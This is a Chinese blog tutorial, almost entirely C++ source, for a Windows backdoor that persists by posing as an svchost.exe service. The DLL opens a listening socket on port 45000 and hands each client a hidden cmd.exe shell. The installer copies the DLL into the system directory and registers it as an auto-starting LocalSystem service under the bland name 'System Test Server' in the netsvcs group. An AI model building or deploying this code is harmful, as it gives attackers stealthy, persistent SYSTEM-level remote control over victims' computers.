安全之路 —— 利用SVCHost.exe系统服务实现后门自启动

简介

在Windows系统中有一个系统服务控制器,叫做SVCHost.exe,它可以用来管理系统的多组服务。它与普通的服务控制不同的是它采用dll导出的ServiceMain主函数实现服务运行,详细原理可参照Blog:SVCHOST启动服务实战。我们在使用此方法时,要有两个步骤:

  1. 编写dll文件封装ServiceMain导出函数
  2. 编写负责服务安装与移除的exe文件
  3. 本例中需要将.exe与.dll文件放置在同一个文件夹下运行,.exe文件会将dll复制进系统目录。

C++代码样例

  1. DLL程序代码:
///////////////////////////////////////
//
// FileName : sysWork.cpp
// Creator : PeterZ1997
// Date : 2018-5-8 22:07
// Comment : Dll of ServiceMain Function
//
///////////////////////////////////////

#include <cstdio>
#include <iostream>
#include <cstdlib>
#include <cstring>
#include <strsafe.h>
#include <WinSock2.h>
#include <winsock.h>
#include <windows.h>
#include <winsvc.h>

using namespace std;
#pragma comment(lib, "ws2_32.lib")

SERVICE_STATUS g_ServiceStatus;
SERVICE_STATUS_HANDLE g_hServiceStatus;

const unsigned int MAX_COUNT = 255; /// String Max Length
const DWORD PORT = 45000;           /// Listen Port
const unsigned int LINK_COUNT = 30; /// Max Link Number


/**
 * @brief CallBack Function to Translate Service Control Code
 * @param dwCode        Service Control Code
 */
void WINAPI ServiceControl(DWORD dwCode)
{
	switch (dwCode)
	{
		//服务暂停
	case SERVICE_CONTROL_PAUSE:
		g_ServiceStatus.dwCurrentState = SERVICE_PAUSED;
		break;
		//服务继续
	case SERVICE_CONTROL_CONTINUE:
		g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
		break;
		//服务停止
	case SERVICE_CONTROL_STOP:
		g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
		g_ServiceStatus.dwWin32ExitCode = 0;
		g_ServiceStatus.dwCheckPoint = 0;
		g_ServiceStatus.dwWaitHint = 0;
		break;
	case SERVICE_CONTROL_INTERROGATE:
		break;
	default:
		break;
	}
	//设置服务状态
	if (SetServiceStatus(g_hServiceStatus, &g_ServiceStatus) == 0)
	{
		printf("Set Service Status Error\n");
	}
	return;
}

/**
 * @brief Start Remote Shell
 * @param lpParam       the Client Handle
 */
DWORD WINAPI StartShell(LPVOID lpParam)
{
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	CHAR cmdline[MAX_COUNT] = { 0 };
	GetStartupInfo(&si);
	si.cb = sizeof(STARTUPINFO);
	si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)lpParam;
	si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
	si.wShowWindow = SW_HIDE;
	GetSystemDirectory(cmdline, sizeof(cmdline));
	strcat_s(cmdline, sizeof(cmdline), "\\cmd.exe");
	while (!CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi))
	{
		Sleep(100);
	}
	WaitForSingleObject(pi.hProcess, INFINITE);
	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);
	return 0;
}


/**
 * @brief Service Running Function
 * @param lpParam      NULL
 */
DWORD WINAPI RunService(LPVOID lpParam)
{
	CHAR wMessage[MAX_COUNT] = "<================= Welcome to Back Door >_< ==================>\n";
	SOCKET sClient[30];
	DWORD dwThreadId[30];
	HANDLE hThread[30];
	WSADATA wsd;
	if (WSAStartup(0x0202, &wsd))
	{
		printf("WSAStartup Process Error\n");
		return 0;
	}
	SOCKET sListen = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
	sockaddr_in sin;
	sin.sin_family = AF_INET;
	sin.sin_port = htons(PORT);
	sin.sin_addr.S_un.S_addr = INADDR_ANY;
	if (bind(sListen, (LPSOCKADDR)&sin, sizeof(sin))) return 0;
	if (listen(sListen, LINK_COUNT)) return 0;
	for (int i = 0; i < LINK_COUNT; i++)
	{
		sClient[i] = accept(sListen, NULL, NULL);
		hThread[i] = CreateThread(NULL, 0, StartShell, (LPVOID)sClient[i], 0, &dwThreadId[i]);
		send(sClient[i], wMessage, strlen(wMessage), 0);
	}
	WaitForMultipleObjects(LINK_COUNT, hThread, TRUE, INFINITE);
	return 0;
}

/**
 * @brief Export Function
 */
extern"C" __declspec(dllexport) void __stdcall ServiceMain(DWORD dwArgc, LPTSTR *lpArgv)
{
	HANDLE hThread;
	g_ServiceStatus.dwCheckPoint = 0;
	g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_STOP;
	g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
	g_ServiceStatus.dwServiceSpecificExitCode = 0;
	g_ServiceStatus.dwServiceType = SERVICE_WIN32;
	g_ServiceStatus.dwWaitHint = 0;
	g_ServiceStatus.dwWin32ExitCode = 0;
	g_hServiceStatus = RegisterServiceCtrlHandler("BackDoor", ServiceControl);
	if (!g_hServiceStatus)
	{
		printf("Register Service Error\n");
		return;
	}
	g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
	g_ServiceStatus.dwCheckPoint = 0;
	g_ServiceStatus.dwWaitHint = 0;
	if (!SetServiceStatus(g_hServiceStatus, &g_ServiceStatus))
	{
		printf("Set ServiceStatus Error !\n");
		return;
	}
	hThread = CreateThread(NULL, 0, RunService, NULL, 0, NULL);
	if (!hThread)
	{
		printf("Create Thread Error\n");
	}
	return;
}

/**
 * @brief DLL Main Function
 */
BOOL APIENTRY DllMain(HANDLE hModule,
	DWORD ul_reason_for_call,
	LPVOID lpReserved)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_DETACH:
	{
		ServiceControl(SERVICE_CONTROL_STOP);
		break;
	}
	default:
		break;
	}
	return TRUE;
}

2 . EXE程序代码:

//////////////////////////////////////////////
//
// FileName : SVCHostDemo.cpp
// Creator : PeterZ1997
// Date : 2018-5-8 01:17
// Comment : use SVCHost.exe to achieve software auto-run
//
//////////////////////////////////////////////

#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include "strsafe.h"
#include <windows.h>
#include <winsvc.h>
#include <shlwapi.h>
#pragma comment(lib, "shlwapi.lib")

using namespace std;

const unsigned int MAX_COUNT = 255;      //字符串长度
CHAR szRegInfo[MAX_COUNT] = "\0";        //注册表信息缓冲区
SC_HANDLE g_hServiceHandle;              //服务实例句柄
SERVICE_STATUS g_ssServiceStatus;        //服务状态结构体
SERVICE_STATUS_HANDLE g_ssServiceHandle; //服务状态句柄

/**
 * @brief 封装REG_MULTI_SZ型注册表操作
 * @param hRoot            root key
 * @param szSubKey         sub key after the root key
 * @param szValueName      key name
 * @param szData           key Data
 * @param cp               length of (BYTE*)szValue
 */
BOOL setSZMultiStringValueToReg(HKEY hRoot, LPCSTR szSubKey, LPCSTR szValueName, LPSTR szValue, DWORD cp)
{
	HKEY hKey;
	long lRet;
	if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false;
	if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_MULTI_SZ, (BYTE*)szValue, cp)) return false;
	RegCloseKey(hKey);
	RegCloseKey(hRoot);
	return true;
}

/**
 * @brief 封装REG_SZ型注册表操作
 * @param hRoot             root key
 * @param szSubKey          sub key after the root key
 * @param szValueName       key name
 * @param szData            key Data
 */
BOOL setSZStringValueToReg(HKEY hRoot, LPCSTR szSubKey, LPCSTR szValueName, LPCSTR szValue)
{
	HKEY hKey;
	long lRet;
	if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false;
	if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_SZ, (BYTE*)szValue, strlen(szValue))) return false;
	RegCloseKey(hKey);
	RegCloseKey(hRoot);
	return true;
}
/**
* @brief 封装REG_EXPAND_SZ型注册表操作
* @param hRoot           root key
* @param szSubKey        sub key after the root key
* @param szValueName     key name
* @param szData          key Data
*/
BOOL setExpandSZStringValueToReg(HKEY hRoot, LPCSTR szSubKey, LPCSTR szValueName, LPCSTR szValue)
{
	HKEY hKey;
	long lRet;
	if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false;
	if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_EXPAND_SZ, (BYTE*)szValue, strlen(szValue))) return false;
	RegCloseKey(hKey);
	RegCloseKey(hRoot);
	return true;
}

/**
 * @brief 封装DWORD型注册表操作
 * @param hRoot          root key
 * @param szSubKey       sub key after the root key
 * @param szValueName    key name
 * @param szData         key Data
 */
BOOL setDWORDValueToReg(HKEY hRoot, LPCSTR szSubKey, LPCSTR szValueName, DWORD szValue)
{
	HKEY hKey;
	long lRet;
	if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false;
	if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_DWORD, (BYTE*)&szValue, sizeof(DWORD))) return false;
	RegCloseKey(hKey);
	RegCloseKey(hRoot);
	return true;
}

/**
 * @brief get Registry Value Info(REG_MULTI_SZ)
 * @param hRoot         root key
 * @param szSubKey      sub key after the root key
 * @param szValueName   key name
 */
BOOL getRegInfo(HKEY hRoot, LPCTSTR szSubKey, LPCTSTR szValueName)
{
	HKEY hKey;
	DWORD dwType = REG_MULTI_SZ;
	DWORD dwLenData = strlen(szRegInfo);
	LONG lRes = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);
	if (lRes != ERROR_SUCCESS)
	{
		RegCloseKey(hKey);
		RegCloseKey(hRoot);
		return false;
	}
	RegQueryValueEx(hKey, szValueName, 0, &dwType, NULL, &dwLenData);
	lRes = RegQueryValueEx(hKey, szValueName, 0, &dwType, (LPBYTE)szRegInfo, &dwLenData);
	if (lRes != ERROR_SUCCESS)
	{
		RegCloseKey(hKey);
		RegCloseKey(hRoot);
		return false;
	}
	RegCloseKey(hKey);
	RegCloseKey(hRoot);
	return true;
}

/**
 * @brief CallBack Function to Translate Service Control Code
 * @param dwCode       Service Control Code
 */
void WINAPI ServiceControl(DWORD dwCode)
{
	switch (dwCode)
	{
	case SERVICE_CONTROL_PAUSE:
		g_ssServiceStatus.dwCurrentState = SERVICE_PAUSED;
		break;
	case SERVICE_CONTROL_CONTINUE:
		g_ssServiceStatus.dwCurrentState = SERVICE_RUNNING;
		break;
	case SERVICE_CONTROL_STOP:
		g_ssServiceStatus.dwCurrentState = SERVICE_STOPPED;
		g_ssServiceStatus.dwWin32ExitCode = 0;
		g_ssServiceStatus.dwCheckPoint = 0;
		g_ssServiceStatus.dwWaitHint = 0;
		break;
	case SERVICE_CONTROL_INTERROGATE:
		break;
	default:
		break;
	}
	if (SetServiceStatus(g_ssServiceHandle, &g_ssServiceStatus) == 0)
	{
		printf("Set Service Status Error\n");
	}
	return;
}

/**
 * @brief 安装服务
 */
BOOL InstallService()
{
	CHAR szSysPath[MAX_COUNT] = "\0";
	CHAR szRegGroup[MAX_COUNT][MAX_COUNT] = { "\0" };
	CHAR* szTargetString = (CHAR*)malloc(MAX_COUNT * 8);
	memset(szTargetString, 0, sizeof(szTargetString));
	register int count = 0;
	register int cp = 0;
	GetSystemDirectory(szSysPath, sizeof(szSysPath));
	StringCchCat(szSysPath, sizeof(szSysPath), "\\sysWork.dll");
	CopyFile("sysWork.dll", szSysPath, true);
	setSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "Description", "System Test Server");
	setSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "DisplayName", "NewService");
	setDWORDValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "ErrorControl", 0x00000001);
	setExpandSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "ImagePath", "%systemRoot%\\system32\\svchost.exe -k netsvcs");
	setSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "ObjectName", "LocalSystem");
	setDWORDValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "Start", 0x00000002);
	setDWORDValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "Type", 0x00000010);
	setExpandSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService\\Parameters", "ServiceDll", szSysPath);
	getRegInfo(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost", "netsvcs");
	register LPSTR p = LPSTR(szRegInfo);
	for (; *p; p += strlen(p) + 1, count++)
	{
		StringCchCopy(szRegGroup[count], sizeof(szRegGroup[count]), p);
	}
	StringCchCopy(szRegGroup[count], sizeof(szRegGroup), "NewService");
	p = LPSTR(szTargetString);
	for (int i = 0; i <= count; i++)
	{
		strcpy_s(p, strlen(szRegGroup[i]) + 1, szRegGroup[i]);
		p += strlen(szRegGroup[i]) + 1;
		cp += strlen(szRegGroup[i]) + 1;
	}
	setSZMultiStringValueToReg(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost", "netsvcs", szTargetString, cp);
	return true;
}

/**
 * @brief 移除服务
 */
BOOL RemoveService()
{
	SC_HANDLE hscManager;
	CHAR szRegGroup[MAX_COUNT][MAX_COUNT] = { "\0" };
	CHAR* szTargetString = (CHAR*)malloc(MAX_COUNT * 8);
	memset(szTargetString, 0, sizeof(szTargetString));
	register int count = 0;
	register int cp = 0;
	CHAR szSysPath[MAX_COUNT] = "\0";
	GetSystemDirectory(szSysPath, sizeof(szSysPath));
	StringCchCat(szSysPath, sizeof(szSysPath), "\\sysWork.dll");
	hscManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
	if (!hscManager)
	{
		printf("Open Service Manager Error\n");
		return false;
	}
	printf("Open Service Manager Success\n");
	g_hServiceHandle = OpenService(hscManager, "NewService", SERVICE_ALL_ACCESS);
	if (!g_hServiceHandle)
	{
		printf("Open Service Error\n");
		return false;
	}
	printf("Open Service Success\n");
	if (QueryServiceStatus(g_hServiceHandle, &g_ssServiceStatus))
	{
		if (g_ssServiceStatus.dwCurrentState == SERVICE_RUNNING)
		{
			ControlService(g_hServiceHandle, SERVICE_CONTROL_STOP, &g_ssServiceStatus);
		}
	}
	else
	{
		printf("Service Status Get Error\n");
		CloseServiceHandle(g_hServiceHandle);
		CloseServiceHandle(hscManager);
		return false;
	}
	if (!DeleteService(g_hServiceHandle))
	{
		printf("Delete Service Error\n");
		CloseServiceHandle(g_hServiceHandle);
		CloseServiceHandle(hscManager);
		return false;
	}
	if (SHDeleteKey(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService"))
	{
		printf("Delete RegKey Error\n");
		CloseServiceHandle(g_hServiceHandle);
		CloseServiceHandle(hscManager);
		return false;
	}
	memset(szRegInfo, 0, sizeof(szRegInfo));
	getRegInfo(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost", "netsvcs");
	register LPSTR p = LPSTR(szRegInfo);
	for (; *p; p += strlen(p) + 1)
	{
		if (!strcmp(p, "NewService"))
		{
			continue;
		}
		StringCchCopy(szRegGroup[count], sizeof(szRegGroup[count]), p);
		count++;
	}
	p = LPSTR(szTargetString);
	for (int i = 0; i <= count; i++)
	{
		strcpy_s(p, strlen(szRegGroup[i]) + 1, szRegGroup[i]);
		p += strlen(szRegGroup[i]) + 1;
		cp += strlen(szRegGroup[i]) + 1;
	}
	setSZMultiStringValueToReg(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost", "netsvcs", szTargetString, cp);
	printf("Remove Service Success\n");
	DeleteFile(szSysPath);
	CloseServiceHandle(g_hServiceHandle);
	CloseServiceHandle(hscManager);
	return true;
}

/**
 * @brief Main Function
 */
int main(int argc, char* argv[])
{
	if (argc == 2)
	{
		if (!stricmp(argv[1], "--install"))
		{
			if (!InstallService())
			{
				printf("[!]Service Operation Error\n");
			}
			else
			{
				printf("[*]Service Operation Success\n");
			}
		}
		else if (!stricmp(argv[1], "--remove"))
		{
			if (!RemoveService())
			{
				printf("[!]Service Operation Error\n");
			}
			else
			{
				printf("[*]Service Operation Success\n");
			}
		}
		else
		{
			printf("[Usage] => *.exe [--install]/[--remove]\n");
		}
	}
	else {
		printf("[Usage] => *.exe [--install]/[--remove]\n");
	}
	return 0;
}
posted @ 2018-08-24 21:14  倚剑问天  阅读(1712)  评论(0编辑  收藏  举报